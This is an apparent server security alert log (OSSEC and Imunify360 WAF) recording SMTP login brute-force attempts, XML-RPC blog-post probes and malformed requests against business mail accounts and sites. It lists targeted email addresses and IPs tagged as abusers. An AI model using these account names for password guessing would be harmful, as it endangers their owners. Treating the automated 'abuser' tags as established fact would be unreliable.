2026-02-01 08:09:39 dovecot_login authenticator failed for H=([37.208.46.130]) [37.208.46.130]:48985: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-02-01 08:09:10 dovecot_login authenticator failed for H=([119.192.210.110]) [119.192.210.110]:35072: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.70.98
country_id: 1269750
description:
2026-02-01 08:09:12 dovecot_login authenticator failed for H=([182.78.70.98]) [182.78.70.98]:40184: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.116.131.13
country_id: 1814991
description:
2026-02-01 08:09:19 dovecot_login authenticator failed for H=([123.116.131.13]) [123.116.131.13]:33865: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.124.174
country_id: 1269750
description:
2026-02-01 08:09:20 dovecot_login authenticator failed for H=([182.95.124.174]) [182.95.124.174]:43588: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:09:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49718: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:09:03 dovecot_login authenticator failed for H=(VsYhGG) [158.94.208.175]:54699: 535 Incorrect authentication data (set_id=suffian)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.191.174.101
country_id: 1694008
domain: printspecsolution.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:82390.printspecsolution.com||ServerName:printspecsolution.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4470683bc45c6e9f4dde1dc0ff0eeb7ee59caad9||Title:0xfd3f6061||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 08:09:08 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:47930: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 08:09:19 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:49484: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 08:09:22 dovecot_login authenticator failed for H=(cGd7tIop4N) [158.94.208.110]:52730: 535 Incorrect authentication data (set_id=louiswong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.51
country_id: 1668284
description:
2026-02-01 08:10:00 dovecot_login authenticator failed for H=110-25-109-51.adsl.fetnet.net [110.25.109.51]:55618: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 08:10:09 dovecot_login authenticator failed for H=(0BI2uYm) [158.94.208.110]:60366: 535 Incorrect authentication data (set_id=louiswong@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:10:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57418: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 08:10:46 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:40364: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:10:05 dovecot_login authenticator failed for H=(NbSYGxaD) [158.94.208.175]:63403: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.49.217.205
country_id: 1814991
description:
2026-02-01 08:11:46 dovecot_login authenticator failed for H=([112.49.217.205]) [112.49.217.205]:35418: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 08:11:21 dovecot_login authenticator failed for H=(VptBa7) [158.94.208.110]:56281: 535 Incorrect authentication data (set_id=louiswong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.145.163.164
country_id: 1814991
description:
2026-02-01 08:11:56 dovecot_login authenticator failed for H=([61.145.163.164]) [61.145.163.164]:59499: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.84.8.38
country_id: 3573591
description:
2026-02-01 08:11:16 dovecot_plain authenticator failed for H=(R27PCKV70FQ2DWX) [170.84.8.38]:53558: 535 Incorrect authentication data (set_id=chewkc@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:11:03 dovecot_login authenticator failed for H=(UAyUW0SsAD) [158.94.208.175]:52771: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.138
country_id: 1819730
description:
2026-02-01 08:11:07 dovecot_login authenticator failed for H=(223-197-153-138.static.imsbiz.com) [223.197.153.138]:50791: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 08:12:14 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:34768: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:12:14 dovecot_login authenticator failed for H=(eg2utY) [158.94.208.175]:64226: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 08:12:37 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:46878: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.167
country_id: 690791
description:
2026-02-01 08:12:49 H=([77.83.39.167]) [77.83.39.167]:62671 F=<stevenwelbou@op.pl> rejected RCPT <gopro@oxbold.com>: No Such User Here


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:13:00 dovecot_login authenticator failed for H=(otNVefFbk9) [158.94.208.175]:64390: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.146.233.156
country_id: 1269750
description:
2026-02-01 08:12:02 dovecot_login authenticator failed for H=([103.146.233.156]) [103.146.233.156]:55986: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-02-01 08:12:21 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:34418: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.54.36
country_id: 1814991
description:
2026-02-01 08:12:24 dovecot_login authenticator failed for H=([60.172.54.36]) [60.172.54.36]:51352: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:12:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34604: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:13:34 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50377: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.142.171.8
country_id: 3017382
description:
2026-02-01 08:13:19 dovecot_plain authenticator failed for H=pat86-h02-176-142-171-8.dsl.sta.abo.bbox.fr (E1261D68V5UP6) [176.142.171.8]:57778: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:13:19 dovecot_login authenticator failed for H=(DiQfJG7zU8) [158.94.208.175]:63104: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:14:04 dovecot_login authenticator failed for H=(0F5yfp7aNV) [158.94.208.175]:51699: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:14:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64666: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:14:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43764: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.180.17.81
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=27 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:14:54 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65356: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:15:10 dovecot_login authenticator failed for H=(JQNoAx) [158.94.208.175]:52614: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.219
country_id: 798544
description:
2026-02-01 08:15:38 dovecot_login authenticator failed for H=89-67-37-219.dynamic.play.pl [89.67.37.219]:40627: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 08:15:09 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:36120: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 08:15:49 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:48802: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 08:15:56 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:55536: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.23.140
country_id: 3144096
description:
2026-02-01 08:15:59 dovecot_login authenticator failed for H=(cm-178.232.23.140.get.no) [178.232.23.140]:43132: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.174.104.74
country_id: 2017370
description:
2026-02-01 08:15:18 dovecot_login authenticator failed for H=(host-109-174-104-74.bb-nsk.sib.mts.ru) [109.174.104.74]:54708: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.143.166
country_id: 1819730
description:
2026-02-01 08:15:26 dovecot_login authenticator failed for H=166.143.48.116.static.netvigator.com [116.48.143.166]:42739: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:16:50 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33778: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.236.76.10
country_id: 1814991
description:
2026-02-01 08:16:04 dovecot_login authenticator failed for H=([120.236.76.10]) [120.236.76.10]:18603: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.236.130.182
country_id: 1814991
description:
2026-02-01 08:16:51 dovecot_login authenticator failed for H=([183.236.130.182]) [183.236.130.182]:47596: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.22.51.64
country_id: 2017370
description:
2026-02-01 08:16:19 dovecot_login authenticator failed for H=(n51-h64.smr-rsk.metromax.ru) [81.22.51.64]:49916: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 08:16:16 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:41134: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:16:05 dovecot_login authenticator failed for H=(it6AfhhIG) [158.94.208.175]:57330: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.163
country_id: 99237
description:
2026-02-01 08:16:33 dovecot_login authenticator failed for H=([65.20.250.163]) [65.20.250.163]:60382: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.182.166
country_id: 1269750
description:
2026-02-01 08:16:59 dovecot_login authenticator failed for H=([182.95.182.166]) [182.95.182.166]:35270: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.86.168.224
country_id: 1814991
description:
2026-02-01 08:16:13 dovecot_login authenticator failed for H=([222.86.168.224]) [222.86.168.224]:35798: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.198.132.94
country_id: 6252001
description:
2026-02-01 08:17:39 dovecot_plain authenticator failed for H=(Copy-of-VM-2022) [124.198.132.94]:59557: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:17:13 dovecot_login authenticator failed for H=(MYhOvn7tmV) [158.94.208.175]:50777: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 08:17:32 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:59324: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.82
country_id: 1269750
description:
2026-02-01 08:18:36 dovecot_login authenticator failed for H=([182.95.184.82]) [182.95.184.82]:36138: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:18:59 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52094: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.120
country_id: 1668284
description:
2026-02-01 08:18:44 dovecot_login authenticator failed for H=([101.13.4.120]) [101.13.4.120]:49184: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:18:05 dovecot_login authenticator failed for H=(qoeIPdGx) [158.94.208.175]:61939: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:18:21 dovecot_login authenticator failed for H=(AbsutJlc) [158.94.208.175]:49537: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:19:16 dovecot_login authenticator failed for H=(LF4B8wp) [158.94.208.175]:53455: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:19:39 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64545: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.164.85.59
country_id: 1269750
domain: pspoly.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:69745.pspoly.com.my||ServerName:pspoly.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c2dbda2821cc02efb587679eec3e042f23476aa2||Title:0xe4aa2b96||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 08:20:53 dovecot_login authenticator failed for H=(JEI6XzjlH) [69.5.189.21]:49976: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:20:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59409: 535 Incorrect authentication data (set_id=testing@box.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.138
country_id: 1819730
description:
2026-02-01 08:20:11 dovecot_login authenticator failed for H=(223-197-153-138.static.imsbiz.com) [223.197.153.138]:59431: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:20:17 dovecot_login authenticator failed for H=(tfjPHMm3Pp) [158.94.208.175]:62391: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 08:20:25 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:35080: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:21:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63054: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:21:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:32990: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-02-01 08:21:15 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:56249: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 08:21:17 dovecot_login authenticator failed for H=(gXQz4QjGqm) [69.5.189.21]:54050: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.104.132.119
country_id: 2589581
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=789818 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:21:27 dovecot_login authenticator failed for H=(QheBlND) [158.94.208.175]:50057: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:21:28 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65087: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-02-01 08:21:33 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:56180: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:22:02 dovecot_login authenticator failed for H=(MhqDo1zE) [158.94.208.175]:57740: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.219.104.210
country_id: 3175395
description:
2026-02-01 08:22:55 dovecot_login authenticator failed for H=net-188-219-104-210.cust.vodafonedsl.it [188.219.104.210]:37255: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 08:22:05 dovecot_login authenticator failed for H=(HmEqmR) [69.5.189.21]:62166: 535 Incorrect authentication data (set_id=azakaria.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 08:22:30 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:48984: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.72.92.174
country_id: 1814991
description:
2026-02-01 08:22:36 dovecot_login authenticator failed for H=([125.72.92.174]) [125.72.92.174]:39269: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-02-01 08:22:50 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:60286: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.251.197.46
country_id: 1814991
description:
2026-02-01 08:22:02 dovecot_login authenticator failed for H=([101.251.197.46]) [101.251.197.46]:48174: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:23:08 dovecot_login authenticator failed for H=(VZQIHF6sD) [158.94.208.175]:59632: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 08:23:12 dovecot_login authenticator failed for H=(MYakhA) [69.5.189.21]:57094: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:23:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42248: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 08:23:29 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:53832: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.254.25.158
country_id: 2017370
description:
2026-02-01 08:23:53 dovecot_login authenticator failed for H=([46.254.25.158]) [46.254.25.158]:51060: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.246.68.220
country_id: 1835841
description:
2026-02-01 08:24:50 dovecot_login authenticator failed for H=([49.246.68.220]) [49.246.68.220]:47656: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.84.189.189
country_id: 1861060
description:
2026-02-01 08:24:09 dovecot_login authenticator failed for H=189.189.84.115.ip4.winknet.ne.jp [115.84.189.189]:47180: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:24:16 dovecot_login authenticator failed for H=(wI4os1uuEM) [158.94.208.175]:52317: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 08:24:23 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:53409: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 08:24:23 dovecot_login authenticator failed for H=(M5o41Ay3) [69.5.189.21]:52969: 535 Incorrect authentication data (set_id=azakaria.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:25:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41504: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:25:52 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51106: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 08:25:05 dovecot_login authenticator failed for H=(nsg-corporate-227.230.187.122.airtel.in) [122.187.230.227]:48619: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:25:11 dovecot_login authenticator failed for H=(wagbPz) [158.94.208.175]:62029: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:25:28 dovecot_login authenticator failed for H=(UtNAgpuqx) [158.94.208.175]:59065: 535 Incorrect authentication data (set_id=miya)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.225.213.222
country_id: 6254930
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=22661523525833 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.161.14.45
country_id: 1814991
description:
2026-02-01 08:26:26 dovecot_login authenticator failed for H=([180.129.252.55]) [60.161.14.45]:52731: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:26:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49733: 535 Incorrect authentication data (set_id=test@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:26:21 dovecot_login authenticator failed for H=(umaNsh2b) [158.94.208.175]:55286: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.82
country_id: 1269750
description:
2026-02-01 08:26:07 dovecot_login authenticator failed for H=([59.145.212.121]) [182.95.184.82]:49022: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.228.105.192
country_id: 1835841
description:
2026-02-01 08:26:30 dovecot_login authenticator failed for H=([58.228.105.192]) [58.228.105.192]:52932: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.63.52.54
country_id: 3469034
description:
2026-02-01 08:26:41 dovecot_login authenticator failed for H=(201-91-74-17.customer.tdatabrasil.net.br) [201.63.52.54]:47787: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-01 08:27:11 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=chia@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.128.202
country_id: 6252001
description:
2026-02-01 08:27:22 dovecot_login authenticator failed for H=([192.34.128.202]) [192.34.128.202]:42220: 535 Incorrect authentication data (set_id=chia)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:27:46 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45206: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
